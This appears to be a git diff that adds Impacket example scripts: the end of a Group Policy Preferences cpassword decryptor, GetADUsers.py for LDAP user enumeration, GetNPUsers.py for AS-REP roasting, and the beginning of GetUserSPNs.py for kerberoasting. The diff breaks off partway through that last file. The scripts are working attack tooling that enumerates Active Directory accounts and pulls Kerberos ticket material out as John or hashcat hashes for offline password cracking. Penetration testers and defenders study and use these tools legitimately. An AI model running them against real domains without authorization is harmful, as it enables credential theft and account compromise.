parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_target(args): + domain, username, password, address = utils.parse_target(args.target) + + if args.target_ip is None: + args.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, address, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def init_smb_session(args, domain, username, password, address, lmhash, nthash): + smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port)) + dialect = smbClient.getDialect() + if dialect == SMB_DIALECT: + logging.debug("SMBv1 dialect used") + elif dialect == SMB2_DIALECT_002: + logging.debug("SMBv2.0 dialect used") + elif dialect == SMB2_DIALECT_21: + logging.debug("SMBv2.1 dialect used") + else: + logging.debug("SMBv3.0 dialect used") + if args.k is True: + smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip) + else: + smbClient.login(username, password, domain, lmhash, nthash) + if smbClient.isGuestSession() > 0: + logging.debug("GUEST Session Granted") + else: + logging.debug("USER Session Granted") + return smbClient + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + if args.target.upper() == "LOCAL" : + if args.xmlfile is not None: + # Only given decrypt XML file + if os.path.exists(args.xmlfile): + g = GetGPPasswords(None, None) + logging.debug("Opening %s XML file for reading ..." % args.xmlfile) + f = open(args.xmlfile,'r') + rawdata = ''.join(f.readlines()) + f.close() + results = g.parse_xmlfile_content(args.xmlfile, rawdata) + g.show(results) + else: + print('[!] File does not exists or is not readable.') + else: + domain, username, password, address, lmhash, nthash = parse_target(args) + try: + smbClient= init_smb_session(args, domain, username, password, address, lmhash, nthash) + g = GetGPPasswords(smbClient, args.share) + g.list_shares() + g.find_cpasswords(args.base_dir) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py new file mode 100644 index 0000000..0795a56 --- /dev/null +++ b/examples/GetADUsers.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will gather data about the domain's users and their corresponding email addresses. It will also +# include some extra information about last logon and last password set attributes. +# You can enable or disable the the attributes shown in the final table by changing the values in line 184 and +# headers in line 190. +# If no entries are returned that means users don't have email addresses specified. If so, you can use the +# -all-users parameter. +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# LDAP +# + +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals +import argparse +import logging +import sys +from datetime import datetime + +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection, SessionError + + +class GetADUsers: + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__target = None + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + self.__requestUser = cmdLineOptions.user + self.__all = cmdLineOptions.all + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + # Let's calculate the header and format + self.__header = ["Name", "Email", "PasswordLastSet", "LastLogon"] + # Since we won't process all rows at once, this will be fixed lengths + self.__colLen = [20, 30, 19, 19] + self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)]) + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def processRecord(self, item): + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + return + sAMAccountName = '' + pwdLastSet = '' + mail = '' + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # User Account + sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'mail': + mail = str(attribute['vals'][0]) + + print((self.__outputFormat.format(*[sAMAccountName, mail, pwdLastSet, lastLogon]))) + except Exception as e: + logging.debug("Exception", exc_info=True) + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + def run(self): + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None: + self.__target = self.__kdcIP + else: + self.__target = self.__domain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead.") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other.") + raise + + logging.info('Querying %s for information about domain.' % self.__target) + # Print header + print((self.__outputFormat.format(*self.__header))) + print((' '.join(['-' * itemLen for itemLen in self.__colLen]))) + + # Building the search filter + if self.__all: + searchFilter = "(&(sAMAccountName=*)(objectCategory=user)" + else: + searchFilter = "(&(sAMAccountName=*)(mail=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))" % UF_ACCOUNTDISABLE + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' + + try: + logging.debug('Search Filter=%s' % searchFilter) + sc = ldap.SimplePagedResultsControl(size=100) + ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'], + sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord) + except ldap.LDAPSearchError: + raise + + ldapConnection.close() + +# Process command-line arguments. +if __name__ == '__main__': + print((version.BANNER)) + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data") + + parser.add_argument('target', action='store', help='domain[/username[:password]]') + parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ') + parser.add_argument('-all', action='store_true', help='Return all users, including those with no email ' + 'addresses and disabled accounts. When used with -user it ' + 'will return user\'s info even if the account is disabled') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + try: + executer = GetADUsers(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/GetNPUsers.py b/examples/GetNPUsers.py new file mode 100644 index 0000000..2e088c6 --- /dev/null +++ b/examples/GetNPUsers.py @@ -0,0 +1,459 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will attempt to list and get TGTs for those users that have the property +# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). +# For those users with such configuration, a John The Ripper output will be generated so +# you can send it for cracking. +# +# Original credit for this technique goes to @harmj0y: +# https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ +# Related work by Geoff Janjua: +# https://www.exumbraops.com/layerone2016/party +# +# For usage instructions run the script with no parameters. +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import random +import sys +from binascii import hexlify + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter +from impacket.krb5.kerberosv5 import sendReceive, KerberosError +from impacket.krb5.types import KerberosTime, Principal +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection, SessionError + + +class GetUserNoPreAuth: + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print(outputFormat.format(*header)) + print(' '.join(['-' * itemLen for itemLen in colLen])) + + # And now the rows + for row in items: + print(outputFormat.format(*row)) + + def __init__(self, username, password, domain, cmdLineOptions): + self.__username = username + self.__password = password + self.__domain = domain + self.__target = None + self.__lmhash = '' + self.__nthash = '' + self.__no_pass = cmdLineOptions.no_pass + self.__outputFileName = cmdLineOptions.outputfile + self.__outputFormat = cmdLineOptions.format + self.__usersFile = cmdLineOptions.usersfile + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__requestTGT = cmdLineOptions.request + #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def getTGT(self, userName, requestPAC=True): + + clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + asReq = AS_REQ() + + domain = self.__domain.upper() + serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + pacRequest = KERB_PA_PAC_REQUEST() + pacRequest['include-pac'] = requestPAC + encodedPacRequest = encoder.encode(pacRequest) + + asReq['pvno'] = 5 + asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) + + asReq['padata'] = noValue + asReq['padata'][0] = noValue + asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + asReq['padata'][0]['padata-value'] = encodedPacRequest + + reqBody = seq_set(asReq, 'req-body') + + opts = list() + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.proxiable.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + seq_set(reqBody, 'cname', clientName.components_to_asn1) + + if domain == '': + raise Exception('Empty Domain not allowed in Kerberos') + + reqBody['realm'] = domain + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['rtime'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + + supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + + seq_set_iter(reqBody, 'etype', supportedCiphers) + + message = encoder.encode(asReq) + + try: + r = sendReceive(message, domain, self.__kdcIP) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # RC4 not available, OK, let's ask for newer types + supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) + seq_set_iter(reqBody, 'etype', supportedCiphers) + message = encoder.encode(asReq) + r = sendReceive(message, domain, self.__kdcIP) + else: + raise e + + # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the + # 'Do not require Kerberos preauthentication' set + try: + asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] + except: + # Most of the times we shouldn't be here, is this a TGT? + asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + else: + # The user doesn't have UF_DONT_REQUIRE_PREAUTH set + raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) + + if self.__outputFormat == 'john': + # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. + return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain, + hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) + else: + # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. + return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, + hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) + + @staticmethod + def outputTGT(entry, fd=None): + if fd is None: + print(entry) + else: + fd.write(entry + '\n') + + def run(self): + if self.__usersFile: + self.request_users_file_TGTs() + return + + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None: + self.__target = self.__kdcIP + else: + self.__target = self.__domain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + # Are we asked not to supply a password? + if self.__doKerberos is False and self.__no_pass is True: + # Yes, just ask the TGT and exit + logging.info('Getting TGT for %s' % self.__username) + entry = self.getTGT(self.__username) + self.outputTGT(entry, None) + return + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + # Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled) + logging.info('Cannot authenticate %s, getting its TGT' % self.__username) + entry = self.getTGT(self.__username) + self.outputTGT(entry, None) + return + + + # Building the search filter + searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ + (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + + try: + logging.debug('Search Filter=%s' % searchFilter) + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead.") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other") + raise + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"]) + print('\n\n') + + if self.__requestTGT is True: + usernames = [answer[0] for answer in answers] + self.request_multiple_TGTs(usernames) + + else: + print("No entries found!") + + def request_users_file_TGTs(self): + with open(self.__usersFile) as fi: + usernames = [line.strip() for line in fi] + + self.request_multiple_TGTs(usernames) + + def request_multiple_TGTs(self, usernames): + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + for username in usernames: + try: + entry = self.getTGT(username) + self.outputTGT(entry, fd) + except Exception as e: + logging.error('%s' % str(e)) + if fd is not None: + fd.close() + + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with " + "'Do not require Kerberos preauthentication' set and export their TGTs for cracking") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]]') + parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them ' + 'in JtR/hashcat format (default False)') + parser.add_argument('-outputfile', action='store', + help='Output filename to write ciphers in JtR/hashcat format') + + parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat', + help='format to save the AS_REQ of users without pre-authentication. Default is hashcat') + + parser.add_argument('-usersfile', help='File with user per line to test') + + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + if len(sys.argv)==1: + parser.print_help() + print("\nThere are a few modes for using this script") + print("\n1. Get a TGT for a user:") + print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass") + print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, " + "\notherwise a badpwdcount entry will be added to the user") + print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set") + print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily") + print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever " + "it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)") + print("\n3. Request TGTs for all users") + print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily") + print("\n4. Request TGTs for users in a file") + print("\n\tGetNPUsers.py -no-pass -usersfile users.txt contoso.com/") + print("\nFor this operation you don\'t need credentials.") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.k is False and options.no_pass is True and username == '' and options.usersfile is None: + logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!') + sys.exit(1) + + if options.outputfile is not None: + options.request = True + + try: + executer = GetUserNoPreAuth(username, password, domain, options) + executer.run() + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error(str(e)) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py new file mode 100644 index 0000000..1713805 --- /dev/null +++ b/examples/GetUserSPNs.py @@ -0,0 +1,536 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This module will try to find Service Principal Names that are associated with normal user account. +# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request +# will encrypt the ticket with the account the SPN is running under, this could be used for an offline +# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. +# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at +# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf +# +# Original idea of implementing this in Python belongs to @skelsec and his +# https://github.com/skelsec/PyKerberoast project +# +# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. +# Also, disabled accounts won't be shown. +# +# Author: +# Alberto Solino (@agsolino) +# +# ToDo: +# [X] Add the capability for requesting TGS and output them in JtR/hashcat format +# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer +# (play with userAccountControl) +# + +from __future__ import division +from __future__ import print_function +import argparse +import logging +import sys +from datetime import datetime +from binascii import hexlify, unhexlify + +from pyasn1.codec.der import decoder +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, \ + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.types import Principal +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection, SessionError +from impacket.ntlm import compute_lmhash, compute_nthash + + +class GetUserSPNs: + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print(outputFormat.format(*header)) + print(' '.join(['-' * itemLen for itemLen in colLen])) + + # And now the rows + for row in items: + print(outputFormat.format(*row)) + + def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): + self.__username = username + self.__password = password + self.__domain = user_domain + self.__target = None + self.__targetDomain = target_domain + self.__lmhash = '' + self.__nthash = '' + self.__outputFileName = cmdLineOptions.outputfile + self.__usersFile = cmdLineOptions.usersfile + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__requestTGS = cmdLineOptions.request + # [!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + self.__saveTGS = cmdLineOptions.save + self.__requestUser = cmdLineOptions.request_user + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__targetDomain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain + # because then the KDC host will be used for both + # the initial and the referral ticket, which breaks stuff. + if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost): + logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.') + 